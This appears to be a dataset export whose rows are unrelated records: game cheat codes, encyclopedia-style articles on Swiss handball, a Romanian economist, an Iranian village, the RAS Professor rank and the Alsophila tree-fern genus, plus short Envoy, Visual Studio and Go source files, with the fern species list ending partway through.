text stringlengths 1 22.8M |
|---|
```text
Infinite Health
0
Hiei-YYH
0 00199594 3D20461C
0 00199598 912A06C0
0 0019959C C00A06C0
0 001995A0 839E0020
#
Infinite Ammo
0
Hiei-YYH
0 0020B984 38090000
#
Infinite Oxygen
0
Hiei-YYH
0 00227D2C 60000000
0 0026A788 60000000
0 0026AB7C 60000000
#
Moon Jump
0
Hiei-YYH
0 003F0720 7C1849CE
0 003F0724 3D00011D
0 003F0728 81087BAC
0 003F072C 71080040
0 003F0730 2C080040
0 003F0734 4082000C
0 003F0738 3D004248
0 003F073C 91180188
0 003F0740 4E800020
0 0024B410 481A5311
#
1 Hit Kill
0
Hiei-YYH
0 0014CA40 3BC00000
0 0014CA68 93CB0000
#
Infinite Time (Time Trial)
0
Hiei-YYH
0 003F0744 2C0303F8
0 003F0748 40820018
0 003FO74C 820903F8
0 003F0750 2C100000
0 003F0754 4182000C
0 003F0758 3E0045E1
0 003F075C 920903F8
0 003F0760 7C291C2E
0 003F0764 4E800020
0 0008E8B4 48361E90
#
``` |
The SPAR Premium League (SPL) is the premier women's handball league in Switzerland, established in 1970. LC Brühl is the championship's most successful club by a large margin with 31 titles including two 11-years winning streaks, followed by ATV Basel-Stadt with four and TSV St. Otmar and Spono Nottwil with three.
Currently the league is contested by eight teams. The champion is granted a spot in the Champions League's qualifying tournament.
Current season
Teams for season 2020–21
DHB Rotweiss Thun
GC Amicitia Zürich
HSC Kreuzlingen
HV Herzogenbuchsee
LC Brühl Handball
LK Zug
SPONO EAGLES
Yellow Winterthur
List of champions
1970 LC Brühl
1971 LC Brühl (2)
1972 LC Brühl (3)
1973 LC Brühl (4)
1974 LC Brühl (5)
1975 LC Brühl (6)
1976 LC Brühl (7)
1977 LC Brühl (8)
1978 LC Brühl (9)
1979 LC Brühl (10)
1980 LC Brühl (11)
1981 RTV 1879 Basel
1982 ATV Basel-Stadt
1983 ATV Basel-Stadt (2)
1984 RTV 1879 Basel (3)
1985 ATV Basel-Stadt (4)
1986 ATV Basel-Stadt (5)
1987 LC Brühl (12)
1988 LC Brühl (13)
1989 LC Brühl (14)
1990 LC Brühl (15)
1991 LC Brühl (16)
1992 LC Brühl (17)
1993 LC Brühl (18)
1994 LC Brühl (19)
1995 LC Brühl (20)
1996 LC Brühl (21)
1997 LC Brühl (22)
1998 TSV St. Otmar
1999 TSV St. Otmar (2)
2000 Spono Nottwil
2001 Spono Nottwil (2)
2002 LC Brühl (23)
2003 LC Brühl (24)
2004 ZMC Amicitia Zürich
2005 TSV St. Otmar (3)
2006 Spono Nottwil (3)
2007 LC Brühl (25)
2008 LC Brühl (26)
2009 LC Brühl (27)
2010 LK Zug
2011 LC Brühl (28)
2012 LC Brühl (29)
2013 LK Zug (2)
2014 LK Zug (3)
2015 LK Zug (4)
2016 Spono Nottwil (4)
2017 LC Brühl (30)
2018 Spono Nottwil (5)
2019 LC Brühl (31)
2020 not awarded
2021 LK Zug (5)
2022 Spono Eagles (6)
2023 LC Brühl (32)
2024
See also
SHV-Cup (Swiss women's national cup)
Swiss Handball League (male counterpart)
References
Women's handball in Switzerland
Switzerland
1970 establishments in Switzerland
Sports leagues established in 1970
Women's sports leagues in Switzerland
Professional sports leagues in Switzerland |
Gheorghe Zane (April 11, 1897 – May 22, 1978) was a Romanian economist and historian.
Born in Galați, he attended Vasile Alecsandri National College before enrolling in the law faculty of the University of Iași. He graduated from that institution in 1920, earning a doctorate from the University of Bucharest in 1923. His first teaching job, from 1921 to 1924, was at the agriculture faculty in Iași, where his courses dealt with political economy. Securing a post as associate professor in the same subject at the Iași law faculty in 1924, he advanced to full professor in 1929, teaching the history of economic doctrines. The following year, he switched to teaching political economy and finance, continuing to do so until 1945. From 1945 to 1948, he taught political economy and rationalization at the Bucharest Polytechnic Institute. Subsequently, after the onset of the Communist regime, he worked at Bucharest's Economic Research Institute. He became a corresponding member of the Romanian Academy in 1965 and was promoted to titular member in 1974. He died in Bucharest.
The author of a copious body of work, he is considered to have introduced to Romania the systematic study of the history of economic concepts. In addition, he researched political economy, economic history and public finance, and edited the complete works of Nicolae Bălcescu. An institute of the Romanian Academy dedicated to economic and social science research, located in Iași, is named after Zane. Gheorghe Zane University, a private institution, functioned in the same city between 1996 and 2013.
Notes
1897 births
1978 deaths
People from Galați
Alexandru Ioan Cuza University alumni
University of Bucharest alumni
Academic staff of Alexandru Ioan Cuza University
Academic staff of the Politehnica University of Bucharest
Romanian economists
Economic historians
Titular members of the Romanian Academy |
Kavand (, also Romanized as Kawand) is a village in Dashtabi-ye Gharbi Rural District, Dashtabi District, Buin Zahra County, Qazvin Province, Iran. At the 2006 census, its population was 98, in 27 families.
References
Populated places in Buin Zahra County |
```objective-c
#pragma once
#include "envoy/formatter/substitution_formatter.h"
#include "envoy/http/header_map.h"
#include "envoy/stream_info/stream_info.h"
namespace Envoy {
namespace Http {
// The interface of applying operations to a header map.
class HeaderEvaluator {
public:
virtual ~HeaderEvaluator() = default;
/**
* Apply the header operations that are saved in the HeaderEvaluator. An example of the operation
* is to add a new header name `foo` to the target header map and the header value is extracted
* from the `bar` field in the stream_info, request headers or response headers.
*
* @param headers the target header map to be mutated.
* @param context context to format the header value.
* @param stream_info the source of values that can be used in the evaluation.
*/
virtual void evaluateHeaders(Http::HeaderMap& headers,
const Formatter::HttpFormatterContext& context,
const StreamInfo::StreamInfo& stream_info) const PURE;
};
} // namespace Http
} // namespace Envoy
``` |
```xml
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="path_to_url">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="Main.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<None Include="..\example_semantic_analysis2.asm">
<Filter>Source Files</Filter>
</None>
</ItemGroup>
</Project>
``` |
```go
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package gensupport
import (
"net/http"
"golang.org/x/net/context"
"golang.org/x/net/context/ctxhttp"
)
// Hook is the type of a function that is called once before each HTTP request
// that is sent by a generated API. It returns a function that is called after
// the request returns.
// Hooks are not called if the context is nil.
type Hook func(ctx context.Context, req *http.Request) func(resp *http.Response)
var hooks []Hook
// RegisterHook registers a Hook to be called before each HTTP request by a
// generated API. Hooks are called in the order they are registered. Each
// hook can return a function; if it is non-nil, it is called after the HTTP
// request returns. These functions are called in the reverse order.
// RegisterHook should not be called concurrently with itself or SendRequest.
func RegisterHook(h Hook) {
hooks = append(hooks, h)
}
// SendRequest sends a single HTTP request using the given client.
// If ctx is non-nil, it calls all hooks, then sends the request with
// ctxhttp.Do, then calls any functions returned by the hooks in reverse order.
func SendRequest(ctx context.Context, client *http.Client, req *http.Request) (*http.Response, error) {
if ctx == nil {
return client.Do(req)
}
// Call hooks in order of registration, store returned funcs.
post := make([]func(resp *http.Response), len(hooks))
for i, h := range hooks {
fn := h(ctx, req)
post[i] = fn
}
// Send request.
resp, err := ctxhttp.Do(ctx, client, req)
// Call returned funcs in reverse order.
for i := len(post) - 1; i >= 0; i-- {
if fn := post[i]; fn != nil {
fn(resp)
}
}
return resp, err
}
``` |
Blue Planet may refer to:
Natural sciences
Earth, has been referred to as the Blue Planet due to the abundant water on its surface and/or the atmospheric hue
Neptune, a planet in the solar system that appears blue and can therefore be called "Blue planet"
The Blue Planet, a BBC documentary series narrated by David Attenborough
Blue Planet II, a sequel to the documentary
Blue Planet (film), a 1990 documentary film directed by Ben Burtt
Blue Planet (aquarium), a public aquarium in Copenhagen, Denmark
Blue Planet Aquarium, a public aquarium in Cheshire, England
Music
Blue Planet (Donna Lewis album), the second studio album from singer Donna Lewis
"Blue Planet" (Alice Nine song), a 2006 single by Japanese rock band Alice Nine
Blue Planet (Donna Lewis song), a song from the Blue Planet
Planeta Azul, translated Blue Planet, the debut album by Spanish singer Ruth Lorenzo
Planeta Azul (song), a song from the eponymous 2014 album Planeta Azul
"Der blaue Planet" (The Blue Planet), a 1981 German song
Other uses
Blue Planet (role-playing game), a science-fiction game
See also
Blue dwarf (disambiguation)
Blue giant (disambiguation)
Blue star (disambiguation)
Blue world (disambiguation) |
Professor of the Russian Academy of Sciences (Professor of the RAS, or RAS Professor; – Proféssor Rossíiskoj akadémii naúk) is an academic rank introduced in 2015 by the RAS to be conferred to distinguished Russian scientists from all fields, who are not yet members of the Academy. Research achievements of RAS Professors are supposed to be higher than those of an ordinary university professor but their teaching experience may be relatively modest. Along with its role as an academic rank, “RAS Professor” is an honorary title emphasizing merits of an individual.
As a concept, the RAS Professorship was originally proposed by the Presidium of RAS and its President (in 2013—2017) Vladimir Fortov, the motivation being to boost an involvement of top researches from the younger generation of Russian scientists in the functioning of the Russian Academy of Sciences.
Requirements and criteria
The formal prerequisites for the rank of a RAS Professor are Russian citizenship, affiliation with some RAS institution or accredited university, the academic degree of Doctor of Sciences ("Doktor nauk", a Russian equivalent to the second degree in countries with a two-tier system of doctoral degrees), and the candidate's being under 50 years of age at the time the award is to be granted.
The key factors taken into account when RAS Professors are elected include recognized scientific results and records of publications in peer-reviewed journals, along with the candidate's authoring books and patents, advising PhD works etc. A candidacy is to be suggested by a RAS member or by the scientific council of his/her respective institution. Apart from the recommendation and the age constraint, the requirements are similar, though not identical, to those imposed by the Higher Attestation Commission in Russia for the traditional (i.e. not RAS) professor rank. The election is a two-stage process comprising the primary round in the pertinent RAS Department and a confirmation through the vote in the RAS Presidium.
Status within and outside of RAS
The RAS Professors are de facto associate Academy members with a status below that of full members (academicians) and the corresponding members. RAS Professors are eligible to take part in meetings of the RAS field-specific and territorial divisions, to submit proposals on organizational and other issues relevant to RAS, and to serve as professional experts. At the same time, research remains the priority mission of a RAS Professor.
Outside of RAS (e.g. at the universities or in industry) the RAS Professorship is expected to have significant weight among a scholar's credentials when employment terms, contracts etc. are formulated, but its importance will only be assessed on a case-by-case basis.
Like many other components of the Russian system of academic degrees and ranks, the RAS Professorship evokes no immediate analogy with established titles or degrees in other countries. The “professional portrait” of a RAS Professor coincides on the whole with the one of a top-league US Professor aged around 45.
Elected RAS Professors
The elections of RAS Professors should be called in every 2–3 years.
Up to now, such elections were organized three times. The first event took place in the Academy in the winter of 2015-2016, the second in March-April 2018 and the third in April-May 2022. Totally, 713 scientists hold the honorary RAS Professor rank.
Roughly 53% of the RAS Professors reside and work in Moscow, e.g., but researchers from across Russia, including its Far East, Siberia (over 100 RAS Professors), the Urals (about 35 RAS Professors, e.g.), and St.-Petersburg (64 RAS Professors) are represented in the overall number. Some of the RAS Professors are affiliates of Russia's most acclaimed research institutes such as the Lebedev Institute, the Steklov Institute, and the Ioffe Institute, and of the top universities, among them – Moscow State University, Novosibirsk State University etc. Two Russian citizens working outside of the country on a permanent basis were also elected as an exception, though normally a candidate is expected to do research in and for Russia. The age limit was a critical filter considering that the generation currently approaching the 50-years age mark is underrepresented in Russian academia after the economic and political crisis in Russia in the 1990s forced many to emigrate or to drop out of science.
Each holder of the title of RAS Professor receives a certificate (s. photo).
In October 2016, November 2019 and May-June 2022, totally 163 professors were upgraded to the corresponding membership in the Academy and 16 professors to full membership. This implies advancement of the status and rights but does not presume deprivation of a professor rank, so each of these scientists will henceforth be double-titled as “RAS professor, corresponding (or full) member of the RAS”.
RAS Professors’ activity
The community of RAS Professors works under the auspices of the Presidium of the Russian Academy of Science and under the administrative guidance of its Center for Strategic Planning. A Coordination Council was formed bringing together renown Professors; in 2016-2018 Prof. Alexey A. Gromyko, Director of the Institute of Europe and the grandson of the outstanding Soviet diplomat Andrei Gromyko, served as the Council Chairman, succeeded, since April 2018, by Prof. Alexander A. Lutovinov, Vice-director of the Russian Space Research Institute.
Several virtual working groups responsible for the advancement of activities such as strategic forecasting, the integration of research and education in Russia, the formulation of national research priorities, the research community's public relations etc. have been set up within the community.
Unlike full or corresponding Academy members, RAS Professors receive no pay for the rank. It remains to be seen how helpful the rank will be to its holders in obtaining promotions in and outside of their institutions, while the work in the community of RAS Professors is performed on a voluntary basis. RAS Professors make no formal commitment to perform any duties unrelated to their original employment, but the new rank is widely seen as an opportunity to get involved in debates on key problems of national science, to participate in shaping the future of the Academy, to contribute to the federal level decision-making, and to engage with mass media covering research, technology, and global development.
See also
Russian Academy of Sciences
Academic ranks in Russia
Academy professor
References
Academic ranks |
Alsophila is a genus of tree ferns in the family Cyatheaceae. It has also been considered to be a section in the subgenus Cyathea of the genus Cyathea.
Description
Species of Alsophila have a treelike growth habit, with an erect trunk that rarely branches, or sometimes a more shrublike habit, with a creeping stem. Their fronds are large, with a strawlike stalk (stipe), dark brown or black in colour. Brown or dark brown scales are present, with distinct margins. The blade (lamina) of the frond is divided one to three times (one- to three-pinnate). The sori (spore-producing structures) are rounded and borne on smaller veins on the lower surface of the frond. An indusium (a covering to the sori) may or may not be present; if present initially, it may be lost as the frond ages.
Alsophila is now separated from the other genera in the family Cyatheaceae primarily on the basis of molecular phylogenetic studies. The scales on the stalks (petioles) provide a morphological distinction. Alsophila has scales with distinct margins, unlike Sphaeropteris, and with an apical hair or spine (seta), unlike Cyathea. The ornamentation of the spores also distinguishes Alsophila and Cyathea.
Taxonomy
The genus Alsophila was erected by Robert Brown in 1810. It is placed in the family Cyatheaceae. The division of the family into genera has had a long and controversial history. Three or four clades have been suggested based on molecular phylogenetic studies. The Pteridophyte Phylogeny Group classification of 2016 (PPG I) accepts three genera, placing the Gymnosphaera clade within Alsophila. In 2018, Dong and Zuo proposed the relationship shown in the cladogram below, and provided names in Gymnosphaera for species they considered to belong in this genus.
Older sources, such as the New Zealand Organisms Register and Large and Braggins (2004), place Alsophila within a broadly defined Cyathea.
Species
The Pteridophyte Phylogeny Group classification of 2016 (PPG I) accepted the genus Alsophila with 275 species. , Plants of the World Online accepted 296 species.
Alsophila abbottii (Maxon) R.M.Tryon (syn. Cyathea abbottii)
Alsophila acanthophora (Holttum) R.M.Tryon (syn. Cyathea acanthophora)
Alsophila acrostichoides Alderw. (syn. Cyathea acrostichoides)
Alsophila acuminata (Copel.) R.M.Tryon (syn. Cyathea acuminata)
Alsophila acutula R.M.Tryon
Alsophila albida (Tardieu) R.M.Tryon
Alsophila albidosquamata (Rosenst.) Lehnert
Alsophila alderwereltii (Copel.) R.M.Tryon (syn. Cyathea alderwereltii)
Alsophila alleniae (Holttum) R.M.Tryon (syn. Cyathea alleniae)
Alsophila alpina Alderw. (syn. Cyathea alpicola)
Alsophila alta (Copel.) R.M.Tryon
Alsophila alternans (Hook.) Hook.
Alsophila alticola (Tardieu) R.M.Tryon
Alsophila amboinensis Alderw. (syn. Cyathea amboinensis)
Alsophila andersonii J.Scott ex Bedd. (syn. Cyathea andersonii)
Alsophila andohahelensis Tardieu
Alsophila aneitensis (Hook.) R.M.Tryon (syn. Cyathea aneitensis)
Alsophila angiensis A.Gepp
Alsophila annae Alderw. (syn. Cyathea annae)
Alsophila apiculata Rosenst. (syn. Cyathea apiculata)
Alsophila apoensis (Copel.) R.M.Tryon (syn. Cyathea apoensis)
Alsophila appendiculata (Baker) R.M.Tryon
Alsophila approximata (Bonap.) R.M.Tryon (syn. Cyathea approximata)
Alsophila archboldii (C.Chr.) R.M.Tryon (syn. Cyathea archboldii)
Alsophila arfakensis A.Gepp (syn. Cyathea kanehirae)
Alsophila atropurpurea (Copel.) C.Chr. (syn. Cyathea atropurpurea)
Alsophila auneae D.S.Conant (syn. Cyathea pubescens)
Alsophila auriculata (Tardieu) R.M.Tryon
Alsophila australis R.Br. (syn. Cyathea australis)
Alsophila austroyunnanensis S.G.Lu
Alsophila baileyana Domin (syn. Cyathea baileyana)
Alsophila balanocarpa (D.C.Eaton) D.S.Conant (syn. Cyathea balanocarpa)
Alsophila baroumba L.Linden
Alsophila basirotundata (Rakotondr. & Janssen) Christenh.
Alsophila batjanensis Christ (syn. Cyathea batjanensis)
Alsophila bellisquamata (Bonap.) R.M.Tryon
Alsophila biformis Rosenst. (syns Alsophila lilianiae, Cyathea biformis)
Alsophila binayana (M.Kato) Lehnert & Coritico
Alsophila bisquamata (M.Kato) Lehnert & Coritico
Alsophila boivinii Mett. ex Ettingsh. (syn. Alsophila boiviniiformis)
Alsophila borbonica (Desv.) R.M.Tryon
Alsophila borneensis (Copel.) R.M.Tryon (syn. Cyathea borneensis)
Alsophila × boytelii Caluff & Shelton
Alsophila brachyphylla (Holttum) Lehnert
Alsophila brausei R.M.Tryon (syn. Cyathea hunsteiniana)
Alsophila brevipinna (Benth.) R.M.Tryon (syn. Cyathea brevipinna)
Alsophila brooksii (Maxon) R.M.Tryon (syn. Cyathea brooksii)
Alsophila bryophila R.M.Tryon (syn. Cyathea bryophila)
Alsophila buennemeijeri (Alderw.) R.M.Tryon
Alsophila bullata Baker
Alsophila calcicola Lehnert
Alsophila callosa (Christ) R.M.Tryon (syn. Cyathea callosa)
Alsophila camerooniana (Hook.) R.M.Tryon (syn. Cyathea camerooniana)
Alsophila capensis (L.f.) J.Sm. (syn. Cyathea capensis)
Alsophila catillifera (Holttum) R.M.Tryon (syn. Cyathea catillifera)
Alsophila celebica (Blume) Mett.
Alsophila celsa R.M.Tryon
Alsophila cicatricosa (Holttum) R.M.Tryon
Alsophila cincinnata (Brause) R.M.Tryon (syn. Cyathea cincinnata)
Alsophila cinerea (Copel.) R.M.Tryon (syn. Cyathea cinerea)
Alsophila coactilis (Holttum) R.M.Tryon (syn. Cyathea coactilis)
Alsophila colensoi Hook.f. (syn. Cyathea colensoi)
Alsophila commutata Mett. (syn. Cyathea recommutata)
Alsophila conantiana Lehnert
Alsophila conferta (Janssen & Rakotondr.) Christenh.
Alsophila confinis (C.Chr.) R.M.Tryon
Alsophila costalisora (Copel.) R.M.Tryon (syn. Cyathea costalisora)
Alsophila costularis Baker
Alsophila coursii Tardieu
Alsophila crassicaula R.M.Tryon
Alsophila crenulata Mett. ex Hook (syn. Cyathea raciborskii)
Alsophila crinita Hook.
Alsophila cubensis (Underw. ex Maxon) Caluff & Shelton
Alsophila cucullifera (Holttum) R.M.Tryon (syn. Cyathea cucullifera)
Alsophila cunninghamii (Hook.f.) R.M.Tryon (syn. Cyathea cunninghamii)
Alsophila cuspidata (Kunze) D.S.Conant (syn. Cyathea cuspidata)
Alsophila deckenii (Kuhn & Decken) R.M.Tryon (syn. Cyathea deckenii)
Alsophila decrescens (Mett.) R.M.Tryon (syn. Cyathea decrescens)
Alsophila decurrens Hook.
Alsophila denticulata Baker (syns Alsophila acaulis, Cyathea hancockii)
Alsophila dicksonioides (Holttum) R.M.Tryon (syn. Cyathea dicksonioides)
Alsophila dilatata (Rakotondr. & Janssen) Christenh.
Alsophila dimorpha Christ (syn. Cyathea dimorpha)
Alsophila doctersii (Alderw.) R.M.Tryon (syn. Cyathea doctersii)
Alsophila dregei (Kunze) R.M.Tryon (syn. Cyathea dregei)
Alsophila dryopteroides (Maxon) R.M.Tryon (syn. Cyathea dryopteroides)
Alsophila edanoi (Copel.) R.M.Tryon (syn. Cyathea edanoi)
Alsophila elata O.G.Martínez
Alsophila emilei (Janssen & Rakotondr.) Christenh.
Alsophila engelii R.M.Tryon (syn. Cyathea elongata)
Alsophila erinacea (H.Karst.) D.S.Conant (syn. Cyathea erinacea)
Alsophila eriophora (Holttum) R.M.Tryon (syn. Cyathea eriophora)
Alsophila esmeraldensis R.C.Moran
Alsophila everta (Copel.) R.M.Tryon (syn. Cyathea everta)
Alsophila excavata (Holttum) R.M.Tryon (syn. Cyathea excavata)
Alsophila excelsior Lehnert
Alsophila exilis (Holttum) Lehnert
Alsophila × fagildei Caluff & Shelton
Alsophila fenicis (Copel.) C.Chr. (syn. Cyathea fenicis)
Alsophila ferdinandii R.M.Tryon (syn. Cyathea macarthurii)
Alsophila ferruginea (Christ) R.M.Tryon (syn. Cyathea ferruginea)
Alsophila firma (Baker) D.S.Conant (syn. Cyathea mexicana)
Alsophila foersteri (Rosenst.) R.M.Tryon (syn. Cyathea foersteri)
Alsophila fulgens (C.Chr.) D.S.Conant (syn. Cyathea fulgens)
Alsophila fuliginosa Christ (syn. Cyathea fuliginosa)
Alsophila gastonyi Lehnert
Alsophila geluensis (Rosenst.) R.M.Tryon (syn. Cyathea geluensis)
Alsophila gigantea Wall. ex Hook. (syn. Cyathea gigantea)
Alsophila glaberrima (Holttum) R.M.Tryon (syn. Cyathea glaberrima)
Alsophila glabra (Blume) Hook. (syn. Cyathea glabra)
Alsophila glaucifolia R.M.Tryon
Alsophila gleichenioides (C.Chr.) R.M.Tryon (syn. Cyathea gleichenioides)
Alsophila grangaudiana (Janssen & Rakotondr.) J.P.Roux
Alsophila gregaria Brause (syn. Cyathea gregaria)
Alsophila grevilleana (Mart.) D.S.Conant (syn. Cyathea grevilleana)
Alsophila halconensis (Christ) R.M.Tryon (syn. Cyathea halconensis)
Alsophila havilandii (Baker) R.M.Tryon (syn. Cyathea havilandii)
Alsophila hebes (Janssen & Rakotondr.) Christenh.
Alsophila henryi Baker (syn. Cyathea henryi)
Alsophila hermannii R.M.Tryon (syn. Cyathea christii)
Alsophila heterochlamydea (Copel.) R.M.Tryon (syn. Cyathea heterochlamydea)
Alsophila hildebrandtii (Kuhn) R.M.Tryon
Alsophila hooglandii (Holttum) R.M.Tryon (syn. Cyathea hooglandii)
Alsophila hookeri (Thwaites) R.M.Tryon (syn. Cyathea hookeri)
Alsophila hornei Baker (syn. Cyathea hornei)
Alsophila horridula (Copel.) R.M.Tryon (syn. Cyathea horridula)
Alsophila hotteana (C.Chr. & Ekman) R.M.Tryon (syn. Cyathea hotteana)
Alsophila humbertiana (C.Chr.) R.M.Tryon
Alsophila humilis (Hieron.) Pic.Serm. (syn. Cyathea humilis)
Alsophila hyacinthei R.M.Tryon
Alsophila hymenodes (Mett.) R.M.Tryon (syn. Cyathea hymenodes)
Alsophila imbricata (Alderw.) R.M.Tryon (syn. Cyathea imbricata)
Alsophila impolita (Rakotondr. & Janssen) Christenh.
Alsophila imrayana (Hook.) D.S.Conant (syn. Cyathea imrayana)
Alsophila incisoserrata (Copel.) C.Chr. (syn. Cyathea incisoserrata)
Alsophila indiscriminata Lehnert
Alsophila inquinans (Christ) R.M.Tryon (syn. Cyathea inquinans)
Alsophila insulana (Holttum) R.M.Tryon (syn. Cyathea insulana)
Alsophila isaloensis (C.Chr.) R.M.Tryon
Alsophila ivohibensis (C.Chr.) Christenh.
Alsophila javanica (Blume) R.M.Tryon (syn. Cyathea javanica)
Alsophila jimeneziana D.S.Conant (syn. Cyathea crassa)
Alsophila jivariensis Hieron.
Alsophila johnsii Lehnert
Alsophila junghuhniana Kunze (syn. Cyathea junghuhniana)
Alsophila katoi Lehnert & Coritico
Alsophila kermadecensis (W.R.B.Oliv.) R.M.Tryon (syn. Cyathea kermadecensis)
Alsophila khasyana T.Moore ex Kuhn (syn. Cyathea khasyana)
Alsophila kirkii (Hook.) R.M.Tryon
Alsophila klossii (Ridl.) R.M.Tryon (syn. Cyathea klossii)
Alsophila lamoureuxii (W.N.Takeuchi) Lehnert & Coritico
Alsophila lastii (Baker) R.M.Tryon
Alsophila latebrosa Wall. ex Hook. (syn. Cyathea latebrosa)
Alsophila latipinnula (Copel.) R.M.Tryon (syn. Cyathea latipinnula)
Alsophila leichhardtiana F.Muell.
Alsophila lepidoclada Christ (syn. Cyathea lepidoclada)
Alsophila leptochlamys (Baker) R.M.Tryon
Alsophila ligulata (Baker) R.M.Tryon
Alsophila lisyae (Janssen & Rakotondr.) Christenh.
Alsophila loerzingii (Holttum) R.M.Tryon (syn. Cyathea loerzingii)
Alsophila loheri (Christ) R.M.Tryon (syn. Cyathea loheri)
Alsophila longipes (Copel.) R.M.Tryon (syn. Cyathea longipes)
Alsophila longipinnata (Bonap.) R.M.Tryon
Alsophila longispina (Janssen & Rakotondr.) Christenh.
Alsophila loubetiana L.Linden
Alsophila lurida (Blume) Hook. (syn. Cyathea lurida)
Alsophila macgillivrayi Baker (syn. Cyathea macgillivrayi)
Alsophila macgregorii (F.Muell.) R.M.Tryon (syn. Cyathea macgregorii)
Alsophila macropoda (Domin) R.M.Tryon (syn. Cyathea macropoda)
Alsophila madagascarica Bonap.
Alsophila magnifolia (Alderw.) R.M.Tryon (syn. Cyathea magnifolia)
Alsophila major Caluff & Shelton
Alsophila manniana (Hook.) R.M.Tryon (syn. Cyathea manniana)
Alsophila mapahuwensis (M.Kato) Lehnert & Coritico
Alsophila marattioides (Willd. ex Kaulf.) R.M.Tryon (syn. Cyathea marattioides)
Alsophila × marcescens (N.A.Wakef.) R.M.Tryon (syn. Cyathea × marcescens)
Alsophila masapilidensis (Copel.) R.M.Tryon (syn. Cyathea masapilidensis)
Alsophila matitanensis R.M.Tryon (syn. Cyathea madagascarica)
Alsophila media (W.H.Wagner & Grether) R.M.Tryon (syn. Cyathea media)
Alsophila × medinae Caluff & Shelton (syn. Cyathea × medinae)
Alsophila melleri (Domin) R.M.Tryon
Alsophila meridionalis (Janssen & Rakotondr.) Christenh.
Alsophila metteniana Hance (syn. Cyathea metteniana)
Alsophila micra R.M.Tryon
Alsophila microchlamys (Holttum) R.M.Tryon (syn. Cyathea microchlamys)
Alsophila microphylloides (Rosenst.) R.M.Tryon (syn. Cyathea microphylloides)
Alsophila mildbraedii Brause (syn. Cyathea mildbraedii)
Alsophila milnei (Hook.f.) R.M.Tryon (syn. Cyathea milnei)
Alsophila minervae Lehnert
Alsophila minor (D.C.Eaton) R.M.Tryon (syn. Cyathea minor)
Alsophila modesta Baker (syn. Cyathea modesta)
Alsophila monosticha Christ
Alsophila montana (Alderw.) R.M.Tryon (syn. Cyathea costulisora)
Alsophila mossambicensis (Baker) R.M.Tryon (syn. Cyathea mossambicensis)
Alsophila mostellaria Lehnert
Alsophila muelleri (Baker) R.M.Tryon (syn. Cyathea muelleri)
Alsophila murkelensis (M.Kato) Lehnert & Coritico
Alsophila nebulosa Lehnert
Alsophila negrosiana (Christ) R.M.Tryon (syn. Cyathea negrosiana)
Alsophila nicklesii (Tardieu & F.Ballard) R.M.Tryon (syn. Cyathea nicklesii)
Alsophila nigrolineata (Holttum) R.M.Tryon (syn. Cyathea nigrolineata)
Alsophila nigropaleata (Holttum) R.M.Tryon (syn. Cyathea nigropaleata)
Alsophila nilgirensis (Holttum) R.M.Tryon (syn. Cyathea nilgirensis)
Alsophila nockii (Jenman) R.M.Tryon (syn. Cyathea nockii)
Alsophila nothofagorum (Holttum) Lehnert
Alsophila novabrittanica Lehnert
Alsophila obtecta (Rakotondr. & Janssen) Christenh.
Alsophila obtusiloba Hook. (syn. Cyathea obtusiloba)
Alsophila odonelliana (Alston) Lehnert
Alsophila ogurae Hayata (syn. Cyathea ogurae)
Alsophila ohaensis (M.Kato) Lehnert & Coritico
Alsophila oinops (Hassk.) R.M.Tryon (syn. Cyathea oinops)
Alsophila oosora (Holttum) R.M.Tryon (syn. Cyathea oosora)
Alsophila orientalis (T.Moore) R.M.Tryon (syn. Cyathea orientalis)
Alsophila orthogonalis (Bonap.) R.M.Tryon
Alsophila pachyrrhachis (Copel.) R.M.Tryon (syn. Cyathea pachyrrhachis)
Alsophila pacifica Christenh.
Alsophila pallidipaleata (Holttum) R.M.Tryon (syn. Cyathea pallidipaleata)
Alsophila parrisiae Lehnert
Alsophila patellifera (Alderw.) R.M.Tryon (syn. Cyathea patellifera)
Alsophila percrassa (C.Chr.) R.M.Tryon (syn. Cyathea percrassa)
Alsophila perpelvigera (Alderw.) R.M.Tryon (syn. Cyathea perpelvigera)
Alsophila perpunctulata (Alderw.) R.M.Tryon (syn. Cyathea perpunctulata)
Alsophila perrieriana (C.Chr.) R.M.Tryon (syn. Cyathea perrieriana)
Alsophila phlebodes Lehnert & Coritico
Alsophila physolepidota (Alston) R.M.Tryon (syn. Cyathea physolepidota)
Alsophila pilosula (Tardieu) R.M.Tryon
Alsophila plagiostegia (Copel.) R.M.Tryon (syn. Cyathea plagiostegia)
Alsophila podophylla Hook. (syn. Cyathea podophylla)
Alsophila polycarpa (Jungh.) R.M.Tryon (syn. Cyathea polycarpa)
Alsophila polystichoides Christ (syn. Cyathea polystichoides)
Alsophila poolii C.Chr.
Alsophila portoricensis (Kuhn) D.S.Conant (syn. Cyathea portoricensis)
Alsophila pruinosa (Rosenst.) R.M.Tryon (syn. Cyathea pruinosa)
Alsophila pseudobellisquamara (Janssen & Rakotondr.) Christenh.
Alsophila pseudomuelleri (Holttum) R.M.Tryon (syn. Cyathea pseudomuelleri)
Alsophila punctulata Alderw. (syn. Cyathea punctulata)
Alsophila pycnoneura (Holttum) R.M.Tryon (syn. Cyathea pycnoneura)
Alsophila quadrata (Baker) R.M.Tryon
Alsophila ramispina Hook. (syn. Cyathea ramispina)
Alsophila ramispinoides Lehnert
Alsophila rebeccae F.Muell. (syn. Cyathea rebeccae)
Alsophila recurvata Brause (syn. Cyathea recurvata)
Alsophila rigens (Rosenst.) R.M.Tryon (syn. Cyathea rigens)
Alsophila rolandii R.M.Tryon
Alsophila roroka (Hovenkamp) Lehnert & Coritico
Alsophila rosenstockii Brause (syn. Cyathea ascendens)
Alsophila rouhaniana (Rakotondr. & Janssen) Christenh.
Alsophila rubella (Holttum) R.M.Tryon (syn. Cyathea rubella)
Alsophila rubiginosa Brause (syn. Cyathea rubiginosa)
Alsophila rufopannosa (Christ) R.M.Tryon (syn. Cyathea rufopannosa)
Alsophila rupestris (Maxon) Gastony & R.M.Tryon (syn. Cyathea rupestris)
Alsophila saccata (Christ) R.M.Tryon (syn. Cyathea saccata)
